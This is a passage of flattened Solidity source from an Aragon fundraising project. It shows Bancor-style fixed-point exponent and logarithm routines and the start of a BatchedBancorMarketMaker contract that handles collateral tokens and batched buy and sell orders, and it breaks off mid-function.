2 ^ precision", that is, the result is upshifted for accuracy. The global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1". The maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)". */ function generalExp(uint256 _x, uint8 _precision) internal pure returns (uint256) { uint256 xi = _x; uint256 res = 0; xi = (xi * _x) >> _precision; res += xi * 0x3442c4e6074a82f1797f72ac0000000; // add x^02 * (33! / 02!) xi = (xi * _x) >> _precision; res += xi * 0x116b96f757c380fb287fd0e40000000; // add x^03 * (33! / 03!) xi = (xi * _x) >> _precision; res += xi * 0x045ae5bdd5f0e03eca1ff4390000000; // add x^04 * (33! / 04!) xi = (xi * _x) >> _precision; res += xi * 0x00defabf91302cd95b9ffda50000000; // add x^05 * (33! / 05!) xi = (xi * _x) >> _precision; res += xi * 0x002529ca9832b22439efff9b8000000; // add x^06 * (33! / 06!) xi = (xi * _x) >> _precision; res += xi * 0x00054f1cf12bd04e516b6da88000000; // add x^07 * (33! / 07!) xi = (xi * _x) >> _precision; res += xi * 0x0000a9e39e257a09ca2d6db51000000; // add x^08 * (33! / 08!) xi = (xi * _x) >> _precision; res += xi * 0x000012e066e7b839fa050c309000000; // add x^09 * (33! / 09!) xi = (xi * _x) >> _precision; res += xi * 0x000001e33d7d926c329a1ad1a800000; // add x^10 * (33! / 10!) xi = (xi * _x) >> _precision; res += xi * 0x0000002bee513bdb4a6b19b5f800000; // add x^11 * (33! / 11!) xi = (xi * _x) >> _precision; res += xi * 0x00000003a9316fa79b88eccf2a00000; // add x^12 * (33! / 12!) xi = (xi * _x) >> _precision; res += xi * 0x0000000048177ebe1fa812375200000; // add x^13 * (33! / 13!) xi = (xi * _x) >> _precision; res += xi * 0x0000000005263fe90242dcbacf00000; // add x^14 * (33! / 14!) xi = (xi * _x) >> _precision; res += xi * 0x000000000057e22099c030d94100000; // add x^15 * (33! / 15!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000057e22099c030d9410000; // add x^16 * (33! / 16!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000052b6b54569976310000; // add x^17 * (33! / 17!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000004985f67696bf748000; // add x^18 * (33! / 18!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000003dea12ea99e498000; // add x^19 * (33! / 19!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000031880f2214b6e000; // add x^20 * (33! / 20!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000000025bcff56eb36000; // add x^21 * (33! / 21!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000000001b722e10ab1000; // add x^22 * (33! / 22!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000001317c70077000; // add x^23 * (33! / 23!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000cba84aafa00; // add x^24 * (33! / 24!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000082573a0a00; // add x^25 * (33! / 25!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000005035ad900; // add x^26 * (33! / 26!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000000000000002f881b00; // add x^27 * (33! / 27!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000001b29340; // add x^28 * (33! / 28!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000000000efc40; // add x^29 * (33! / 29!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000007fe0; // add x^30 * (33! / 30!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000420; // add x^31 * (33! / 31!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000021; // add x^32 * (33! / 32!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000001; // add x^33 * (33! / 33!) return res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision); // divide by 33! and then add x^1 / 1! + x^0 / 0! } /** Return log(x / FIXED_1) * FIXED_1 Input range: FIXED_1 <= x <= LOG_EXP_MAX_VAL - 1 Auto-generated via 'PrintFunctionOptimalLog.py' Detailed description: - Rewrite the input as a product of natural exponents and a single residual r, such that 1 < r < 2 - The natural logarithm of each (pre-calculated) exponent is the degree of the exponent - The natural logarithm of r is calculated via Taylor series for log(1 + x), where x = r - 1 - The natural logarithm of the input is calculated by summing up the intermediate results above - For example: log(250) = log(e^4 * e^1 * e^0.5 * 1.021692859) = 4 + 1 + 0.5 + log(1 + 0.021692859) */ function optimalLog(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; uint256 w; if (x >= 0xd3094c70f034de4b96ff7d5b6f99fcd8) {res += 0x40000000000000000000000000000000; x = x * FIXED_1 / 0xd3094c70f034de4b96ff7d5b6f99fcd8;} // add 1 / 2^1 if (x >= 0xa45af1e1f40c333b3de1db4dd55f29a7) {res += 0x20000000000000000000000000000000; x = x * FIXED_1 / 0xa45af1e1f40c333b3de1db4dd55f29a7;} // add 1 / 2^2 if (x >= 0x910b022db7ae67ce76b441c27035c6a1) {res += 0x10000000000000000000000000000000; x = x * FIXED_1 / 0x910b022db7ae67ce76b441c27035c6a1;} // add 1 / 2^3 if (x >= 0x88415abbe9a76bead8d00cf112e4d4a8) {res += 0x08000000000000000000000000000000; x = x * FIXED_1 / 0x88415abbe9a76bead8d00cf112e4d4a8;} // add 1 / 2^4 if (x >= 0x84102b00893f64c705e841d5d4064bd3) {res += 0x04000000000000000000000000000000; x = x * FIXED_1 / 0x84102b00893f64c705e841d5d4064bd3;} // add 1 / 2^5 if (x >= 0x8204055aaef1c8bd5c3259f4822735a2) {res += 0x02000000000000000000000000000000; x = x * FIXED_1 / 0x8204055aaef1c8bd5c3259f4822735a2;} // add 1 / 2^6 if (x >= 0x810100ab00222d861931c15e39b44e99) {res += 0x01000000000000000000000000000000; x = x * FIXED_1 / 0x810100ab00222d861931c15e39b44e99;} // add 1 / 2^7 if (x >= 0x808040155aabbbe9451521693554f733) {res += 0x00800000000000000000000000000000; x = x * FIXED_1 / 0x808040155aabbbe9451521693554f733;} // add 1 / 2^8 z = y = x - FIXED_1; w = y * y / FIXED_1; res += z * (0x100000000000000000000000000000000 - y) / 0x100000000000000000000000000000000; z = z * w / FIXED_1; // add y^01 / 01 - y^02 / 02 res += z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y) / 0x200000000000000000000000000000000; z = z * w / FIXED_1; // add y^03 / 03 - y^04 / 04 res += z * (0x099999999999999999999999999999999 - y) / 0x300000000000000000000000000000000; z = z * w / FIXED_1; // add y^05 / 05 - y^06 / 06 res += z * (0x092492492492492492492492492492492 - y) / 0x400000000000000000000000000000000; z = z * w / FIXED_1; // add y^07 / 07 - y^08 / 08 res += z * (0x08e38e38e38e38e38e38e38e38e38e38e - y) / 0x500000000000000000000000000000000; z = z * w / FIXED_1; // add y^09 / 09 - y^10 / 10 res += z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y) / 0x600000000000000000000000000000000; z = z * w / FIXED_1; // add y^11 / 11 - y^12 / 12 res += z * (0x089d89d89d89d89d89d89d89d89d89d89 - y) / 0x700000000000000000000000000000000; z = z * w / FIXED_1; // add y^13 / 13 - y^14 / 14 res += z * (0x088888888888888888888888888888888 - y) / 0x800000000000000000000000000000000; // add y^15 / 15 - y^16 / 16 return res; } /** Return e ^ (x / FIXED_1) * FIXED_1 Input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 Auto-generated via 'PrintFunctionOptimalExp.py' Detailed description: - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible - The exponentiation of each binary exponent is given (pre-calculated) - The exponentiation of r is calculated via Taylor series for e^x, where x = r - The exponentiation of the input is calculated by multiplying the intermediate results above - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = z * y / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = z * y / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = z * y / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = z * y / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = z * y / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = z * y / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = z * y / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = z * y / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = z * y / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = z * y / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = z * y / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = z * y / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = z * y / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = z * y / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = z * y / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = z * y / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = z * y / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = z * y / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = z * y / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = res * 0x1c3d6a24ed82218787d624d3e5eba95f9 / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = res * 0x18ebef9eac820ae8682b9793ac6d1e778 / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = res * 0x1368b2fc6f9609fe7aceb46aa619baed5 / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = res * 0x0bc5ab1b16779be3575bd8f0520a9f21e / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = res * 0x0454aaa8efe072e7f6ddbab84b40a55c5 / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = res * 0x00960aadc109e7a3bf4578099615711d7 / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = res * 0x0002bf84208204f5977f9a8cf01fdc307 / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } } // File: @ablack/fundraising-shared-interfaces/contracts/IAragonFundraisingController.sol pragma solidity 0.4.24; contract IAragonFundraisingController { function openTrading() external; function updateTappedAmount(address _token) external; function collateralsToBeClaimed(address _collateral) public view returns (uint256); function balanceOf(address _who, address _token) public view returns (uint256); } // File: @ablack/fundraising-batched-bancor-market-maker/contracts/BatchedBancorMarketMaker.sol pragma solidity 0.4.24; contract BatchedBancorMarketMaker is EtherTokenConstant, IsContract, AragonApp { using SafeERC20 for ERC20; using SafeMath for uint256; /** Hardcoded constants to save gas bytes32 public constant OPEN_ROLE = keccak256("OPEN_ROLE"); bytes32 public constant UPDATE_FORMULA_ROLE = keccak256("UPDATE_FORMULA_ROLE"); bytes32 public constant UPDATE_BENEFICIARY_ROLE = keccak256("UPDATE_BENEFICIARY_ROLE"); bytes32 public constant UPDATE_FEES_ROLE = keccak256("UPDATE_FEES_ROLE"); bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE = keccak256("ADD_COLLATERAL_TOKEN_ROLE"); bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE = keccak256("REMOVE_COLLATERAL_TOKEN_ROLE"); bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE = keccak256("UPDATE_COLLATERAL_TOKEN_ROLE"); bytes32 public constant OPEN_BUY_ORDER_ROLE = keccak256("OPEN_BUY_ORDER_ROLE"); bytes32 public constant OPEN_SELL_ORDER_ROLE = keccak256("OPEN_SELL_ORDER_ROLE"); */ bytes32 public constant OPEN_ROLE = 0xefa06053e2ca99a43c97c4a4f3d8a394ee3323a8ff237e625fba09fe30ceb0a4; bytes32 public constant UPDATE_FORMULA_ROLE = 0xbfb76d8d43f55efe58544ea32af187792a7bdb983850d8fed33478266eec3cbb; bytes32 public constant UPDATE_BENEFICIARY_ROLE = 0xf7ea2b80c7b6a2cab2c11d2290cb005c3748397358a25e17113658c83b732593; bytes32 public constant UPDATE_FEES_ROLE = 0x5f9be2932ed3a723f295a763be1804c7ebfd1a41c1348fb8bdf5be1c5cdca822; bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE = 0x217b79cb2bc7760defc88529853ef81ab33ae5bb315408ce9f5af09c8776662d; bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE = 0x2044e56de223845e4be7d0a6f4e9a29b635547f16413a6d1327c58d9db438ee2; bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE = 0xe0565c2c43e0d841e206bb36a37f12f22584b4652ccee6f9e0c071b697a2e13d; bytes32 public constant OPEN_BUY_ORDER_ROLE = 0xa589c8f284b76fc8d510d9d553485c47dbef1b0745ae00e0f3fd4e28fcd77ea7; bytes32 public constant OPEN_SELL_ORDER_ROLE = 0xd68ba2b769fa37a2a7bd4bed9241b448bc99eca41f519ef037406386a8f291c0; uint256 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10 ** 16; 100% = 10 ** 18 uint32 public constant PPM = 1000000; string private constant ERROR_CONTRACT_IS_EOA = "MM_CONTRACT_IS_EOA"; string private constant ERROR_INVALID_BENEFICIARY = "MM_INVALID_BENEFICIARY"; string private constant ERROR_INVALID_BATCH_BLOCKS = "MM_INVALID_BATCH_BLOCKS"; string private constant ERROR_INVALID_PERCENTAGE = "MM_INVALID_PERCENTAGE"; string private constant ERROR_INVALID_RESERVE_RATIO = "MM_INVALID_RESERVE_RATIO"; string private constant ERROR_INVALID_TM_SETTING = "MM_INVALID_TM_SETTING"; string private constant ERROR_INVALID_COLLATERAL = "MM_INVALID_COLLATERAL"; string private constant ERROR_INVALID_COLLATERAL_VALUE = "MM_INVALID_COLLATERAL_VALUE"; string private constant ERROR_INVALID_BOND_AMOUNT = "MM_INVALID_BOND_AMOUNT"; string private constant ERROR_ALREADY_OPEN = "MM_ALREADY_OPEN"; string private constant ERROR_NOT_OPEN = "MM_NOT_OPEN"; string private constant ERROR_COLLATERAL_ALREADY_WHITELISTED = "MM_COLLATERAL_ALREADY_WHITELISTED"; string private constant ERROR_COLLATERAL_NOT_WHITELISTED = "MM_COLLATERAL_NOT_WHITELISTED"; string private constant ERROR_NOTHING_TO_CLAIM = "MM_NOTHING_TO_CLAIM"; string private constant ERROR_BATCH_NOT_OVER = "MM_BATCH_NOT_OVER"; string private constant ERROR_BATCH_CANCELLED = "MM_BATCH_CANCELLED"; string private constant ERROR_BATCH_NOT_CANCELLED = "MM_BATCH_NOT_CANCELLED"; string private constant ERROR_SLIPPAGE_EXCEEDS_LIMIT = "MM_SLIPPAGE_EXCEEDS_LIMIT"; string private constant ERROR_INSUFFICIENT_POOL_BALANCE = "MM_INSUFFICIENT_POOL_BALANCE"; string private constant ERROR_TRANSFER_FROM_FAILED = "MM_TRANSFER_FROM_FAILED"; struct Collateral { bool whitelisted; uint256 virtualSupply; uint256 virtualBalance; uint32 reserveRatio; uint256 slippage; } struct MetaBatch { bool initialized; uint256 realSupply; uint256 buyFeePct; uint256 sellFeePct; IBancorFormula formula; mapping(address => Batch) batches; } struct Batch { bool initialized; bool cancelled; uint256 supply; uint256 balance; uint32 reserveRatio; uint256 slippage; uint256 totalBuySpend; uint256 totalBuyReturn; uint256 totalSellSpend; uint256 totalSellReturn; mapping(address => uint256) buyers; mapping(address => uint256) sellers; } IAragonFundraisingController public controller; TokenManager public tokenManager; ERC20 public token; Vault public reserve; address public beneficiary; IBancorFormula public formula; uint256 public batchBlocks; uint256 public buyFeePct; uint256 public sellFeePct; bool public isOpen; uint256 public tokensToBeMinted; mapping(address => uint256) public collateralsToBeClaimed; mapping(address => Collateral) public collaterals; mapping(uint256 => MetaBatch) public metaBatches; event UpdateBeneficiary (address indexed beneficiary); event UpdateFormula (address indexed formula); event UpdateFees (uint256 buyFeePct, uint256 sellFeePct); event NewMetaBatch (uint256 indexed id, uint256 supply, uint256 buyFeePct, uint256 sellFeePct, address formula); event NewBatch ( uint256 indexed id, address indexed collateral, uint256 supply, uint256 balance, uint32 reserveRatio, uint256 slippage) ; event CancelBatch (uint256 indexed id, address indexed collateral); event AddCollateralToken ( address indexed collateral, uint256 virtualSupply, uint256 virtualBalance, uint32 reserveRatio, uint256 slippage ); event RemoveCollateralToken (address indexed collateral); event UpdateCollateralToken ( address indexed collateral, uint256 virtualSupply, uint256 virtualBalance, uint32 reserveRatio, uint256 slippage ); event Open (); event OpenBuyOrder (address indexed buyer, uint256 indexed batchId, address indexed collateral, uint256 fee, uint256 value); event OpenSellOrder (address indexed seller, uint256 indexed batchId, address indexed collateral, uint256 amount); event ClaimBuyOrder (address indexed buyer, uint256 indexed batchId, address indexed collateral, uint256 amount); event ClaimSellOrder (address indexed seller, uint256 indexed batchId, address indexed collateral, uint256 fee, uint256 value); event ClaimCancelledBuyOrder (address indexed buyer, uint256 indexed batchId, address indexed collateral, uint256 value); event ClaimCancelledSellOrder(address indexed seller, uint256 indexed batchId, address indexed collateral, uint256 amount); event UpdatePricing ( uint256 indexed batchId, address indexed collateral, uint256 totalBuySpend, uint256 totalBuyReturn, uint256 totalSellSpend, uint256 totalSellReturn ); /***** external function *****/ /** * @notice Initialize market maker * @param _controller The address of the controller contract * @param _tokenManager The address of the [bonded token] token manager contract * @param _reserve The address of the reserve [pool] contract * @param _beneficiary The address of the beneficiary [to whom fees are to be sent] * @param _formula The address of the BancorFormula [computation] contract * @param _batchBlocks The number of blocks batches are to last * @param _buyFeePct The fee to be deducted from buy orders [in PCT_BASE] * @param _sellFeePct The fee to be deducted from sell orders [in PCT_BASE] */ function initialize( IAragonFundraisingController _controller, TokenManager _tokenManager, IBancorFormula _formula, Vault _reserve, address _beneficiary, uint256 _batchBlocks, uint256 _buyFeePct, uint256 _sellFeePct ) external onlyInit { initialized(); require(isContract(_controller), ERROR_CONTRACT_IS_EOA); require(isContract(_tokenManager), ERROR_CONTRACT_IS_EOA); require(isContract(_formula), ERROR_CONTRACT_IS_EOA); require(isContract(_reserve), ERROR_CONTRACT_IS_EOA); require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY); require(_batchBlocks > 0, ERROR_INVALID_BATCH_BLOCKS); require(_feeIsValid(_buyFeePct) && _feeIsValid(_sellFeePct), ERROR_INVALID_PERCENTAGE); require(_tokenManagerSettingIsValid(_tokenManager), ERROR_INVALID_TM_SETTING); controller = _controller; tokenManager = _tokenManager; token = ERC20(tokenManager.token()); formula = _formula; reserve = _reserve; beneficiary = _beneficiary; batchBlocks = _batchBlocks; buyFeePct = _buyFeePct; sellFeePct = _sellFeePct; } /* generic settings related function */ /** * @notice Open market making [enabling users to open buy and sell orders] */ function open() external auth(OPEN_ROLE) { require(!isOpen, ERROR_ALREADY_OPEN); _open(); } /** * @notice Update formula to `_formula` * @param _formula The address of the new BancorFormula [computation] contract */ function updateFormula(IBancorFormula _formula) external auth(UPDATE_FORMULA_ROLE) { require(isContract(_formula), ERROR_CONTRACT_IS_EOA); _updateFormula(_formula); } /** * @notice Update beneficiary to `_beneficiary` * @param _beneficiary The address of the new beneficiary [to whom fees are to be sent] */ function updateBeneficiary(address _beneficiary) external auth(UPDATE_BENEFICIARY_ROLE) { require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY); _updateBeneficiary(_beneficiary); } /** * @notice Update fees deducted from buy and sell orders to respectively `@formatPct(_buyFeePct)`% and `@formatPct(_sellFeePct)`% * @param _buyFeePct The new fee to be deducted from buy orders [in PCT_BASE] * @param _sellFeePct The new fee to be deducted from sell orders [in PCT_BASE] */ function updateFees(uint256 _buyFeePct, uint256 _sellFeePct) external auth(UPDATE_FEES_ROLE) { require(_feeIsValid(_buyFeePct) && _feeIsValid(_sellFeePct), ERROR_INVALID_PERCENTAGE); _updateFees(_buyFeePct, _sellFeePct); } /* collateral tokens related functions */ /** * @notice Add `_collateral.symbol(): string` as a whitelisted collateral token * @param _collateral The address of the collateral token to be whitelisted * @param _virtualSupply The virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The reserve ratio to be used for that collateral token [in PPM] * @param _slippage The price slippage below which each batch is to be kept for that collateral token [in PCT_BASE] */ function addCollateralToken(address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage) external auth(ADD_COLLATERAL_TOKEN_ROLE) { require(isContract(_collateral) || _collateral == ETH, ERROR_INVALID_COLLATERAL); require(!_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_ALREADY_WHITELISTED); require(_reserveRatioIsValid(_reserveRatio), ERROR_INVALID_RESERVE_RATIO); _addCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } /** * @notice Remove `_collateral.symbol(): string` as a whitelisted collateral token * @param _collateral The address of the collateral token to be un-whitelisted */ function removeCollateralToken(address _collateral) external auth(REMOVE_COLLATERAL_TOKEN_ROLE) { require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); _removeCollateralToken(_collateral); } /** * @notice Update `_collateral.symbol(): string` collateralization settings * @param _collateral The address of the collateral token whose collateralization settings are to be updated * @param _virtualSupply The new virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The new virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The new reserve ratio to be used for that collateral token [in PPM] * @param _slippage The new price slippage below which each batch is to be kept for that collateral token [in PCT_BASE] */ function updateCollateralToken(address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage) external auth(UPDATE_COLLATERAL_TOKEN_ROLE) { require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(_reserveRatioIsValid(_reserveRatio), ERROR_INVALID_RESERVE_RATIO); _updateCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } /* market making related functions */ /** * @notice Open a buy order worth `@tokenAmount(_collateral, _value)` * @param _buyer The address of the buyer * @param _collateral The address of the collateral token to be spent * @param _value The amount of collateral token to be spent */ function openBuyOrder(address _buyer, address _collateral, uint256 _value) external payable auth(OPEN_BUY_ORDER_ROLE) { require(isOpen, ERROR_NOT_OPEN); require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(!_batchIsCancelled(_currentBatchId(), _collateral), ERROR_BATCH_CANCELLED); require(_collateralValueIsValid(_buyer, _collateral, _value, msg.value), ERROR_INVALID_COLLATERAL_VALUE); _openBuyOrder(_buyer, _collateral, _value); } /** * @notice Open a sell order worth `@tokenAmount(self.token(): address, _amount)` against `_collateral.symbol(): string` * @param _seller The address of the seller * @param _collateral The address of the collateral token to be returned * @param _amount The amount of bonded token to be spent */ function openSellOrder(address _seller, address _collateral, uint256 _amount) external auth(OPEN_SELL_ORDER_ROLE) { require(isOpen, ERROR_NOT_OPEN); require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(!_batchIsCancelled(_currentBatchId(), _collateral), ERROR_BATCH_CANCELLED); require(_bondAmountIsValid(_seller, _amount), ERROR_INVALID_BOND_AMOUNT); _openSellOrder(_seller, _collateral, _amount); } /** * @notice Claim the results of `_buyer`'s `_collateral.symbol(): string` buy orders from batch #`_batchId` * @param _buyer The address of the user whose buy orders are to be claimed * @param _batchId The id of the batch in which buy orders are to be claimed * @param _collateral The address of the collateral token against which buy orders are to be claimed */ function claimBuyOrder(address _buyer, uint256 _batchId, address _collateral) external nonReentrant isInitialized { require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(_batchIsOver(_batchId), ERROR_BATCH_NOT_OVER); require(!_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_CANCELLED); require(_userIsBuyer(_batchId, _collateral, _buyer), ERROR_NOTHING_TO_CLAIM); _claimBuyOrder(_buyer, _batchId, _collateral); } /** * @notice Claim the results of `_seller`'s `_collateral.symbol(): string` sell orders from batch #`_batchId` * @param _seller The address of the user whose sell orders are to be claimed * @param _batchId The id of the batch in which sell orders are to be claimed * @param _collateral The address of the collateral token against which sell orders are to be claimed */ function claimSellOrder(address _seller, uint256 _batchId, address _collateral) external nonReentrant isInitialized { require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(_batchIsOver(_batchId), ERROR_BATCH_NOT_OVER); require(!_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_CANCELLED); require(_userIsSeller(_batchId, _collateral, _seller), ERROR_NOTHING_TO_CLAIM); _claimSellOrder(_seller, _batchId, _collateral); } /** * @notice Claim the investments of `_buyer`'s `_collateral.symbol(): string` buy orders from cancelled batch #`_batchId` * @param _buyer The address of the user whose cancelled buy orders are to be claimed * @param _batchId The id of the batch in which cancelled buy orders are to be claimed * @param _collateral The address of the collateral token against which cancelled buy orders are to be claimed */ function claimCancelledBuyOrder(address _buyer, uint256 _batchId, address _collateral) external nonReentrant isInitialized { require(_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_NOT_CANCELLED); require(_userIsBuyer(_batchId, _collateral, _buyer), ERROR_NOTHING_TO_CLAIM); _claimCancelledBuyOrder(_buyer, _batchId, _collateral); } /** * @notice Claim the investments of `_seller`'s `_collateral.symbol(): string` sell orders from cancelled batch #`_batchId` * @param _seller The address of the user whose cancelled sell orders are to be claimed * @param _batchId The id of the batch in which cancelled sell orders are to be claimed * @param _collateral The address of the collateral token against which cancelled sell orders are to be claimed */ function claimCancelledSellOrder(address _seller, uint256 _batchId, address _collateral) external nonReentrant isInitialized { require(_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_NOT_CANCELLED); require(_userIsSeller(_batchId, _collateral, _seller), ERROR_NOTHING_TO_CLAIM); _claimCancelledSellOrder(_seller, _batchId, _collateral); } /***** public view functions *****/ function getCurrentBatchId() public view isInitialized returns (uint256) { return _currentBatchId(); } function getCollateralToken(address _collateral) public view isInitialized returns (bool, uint256, uint256, uint32, uint256) { Collateral storage collateral = collaterals[_collateral]; return (collateral.whitelisted, collateral.virtualSupply, collateral.virtualBalance, collateral.reserveRatio, collateral.slippage); } function getBatch(uint256 _batchId, address _collateral) public view isInitialized returns (bool, bool, uint256, uint256, uint32, uint256, uint256, uint256, uint256, uint256) { Batch storage batch = metaBatches[_batchId].batches[_collateral]; return ( batch.initialized, batch.cancelled, batch.supply, batch.balance, batch.reserveRatio, batch.slippage, batch.totalBuySpend, batch.totalBuyReturn, batch.totalSellSpend, batch.totalSellReturn ); } function getStaticPricePPM(uint256 _supply, uint256 _balance, uint32 _reserveRatio) public view isInitialized returns (uint256) { return _staticPricePPM(_supply, _balance, _reserveRatio); } /***** internal functions *****/ /* computation functions */ function _staticPricePPM(uint256 _supply, uint256 _balance, uint32 _reserveRatio) internal pure returns (uint256) { return uint256(PPM).mul(uint256(PPM)).mul(_balance).div(_supply.mul(uint256(_reserveRatio))); } function _currentBatchId() internal view returns (uint256) { return (block.number.div(batchBlocks)).mul(batchBlocks); } /* check functions */ function _beneficiaryIsValid(address _beneficiary) internal pure returns (bool) { return _beneficiary != address(0); } function _feeIsValid(uint256 _fee) internal pure returns (bool) { return _fee < PCT_BASE; } function _reserveRatioIsValid(uint32 _reserveRatio) internal pure returns (bool) { return _reserveRatio <= PPM; } function _tokenManagerSettingIsValid(TokenManager _tokenManager) internal view returns (bool) { return _tokenManager.maxAccountTokens() == uint256(-1); } function _collateralValueIsValid(address _buyer, address _collateral, uint256 _value, uint256 _msgValue) internal view returns (bool) { if (_value == 0) { return false; } if (_collateral == ETH) { return _msgValue == _value; } return ( _msgValue == 0 && controller.balanceOf(_buyer, _collateral) >= _value && ERC20(_collateral).allowance(_buyer, address(this)) >= _value ); } function _bondAmountIsValid(address _seller, uint256 _amount) internal view returns (bool) { return _amount != 0 && tokenManager.spendableBalanceOf(_seller) >= _amount; } function _collateralIsWhitelisted(address _collateral) internal view returns (bool) { return collaterals[_collateral].whitelisted; } function _batchIsOver(uint256 _batchId) internal view returns (bool) { return _batchId < _currentBatchId(); } function _batchIsCancelled(uint256 _batchId, address _collateral) internal view returns (bool) { return metaBatches[_batchId].batches[_collateral].cancelled; } function _userIsBuyer(uint256 _batchId, address _collateral, address _user) internal view returns (bool) { Batch storage batch = metaBatches[_batchId].batches[_collateral]; return batch.buyers[_user] > 0; } function _userIsSeller(uint256 _batchId, address _collateral, address _user) internal view returns (bool) { Batch storage batch = metaBatches[_batchId].batches[_collateral]; return batch.sellers[_user] > 0; } function _poolBalanceIsSufficient(address _collateral) internal view returns (bool) { return controller.balanceOf(address(reserve), _collateral) >= collateralsToBeClaimed[_collateral]; } function _slippageIsValid(Batch storage _batch, address _collateral) internal view 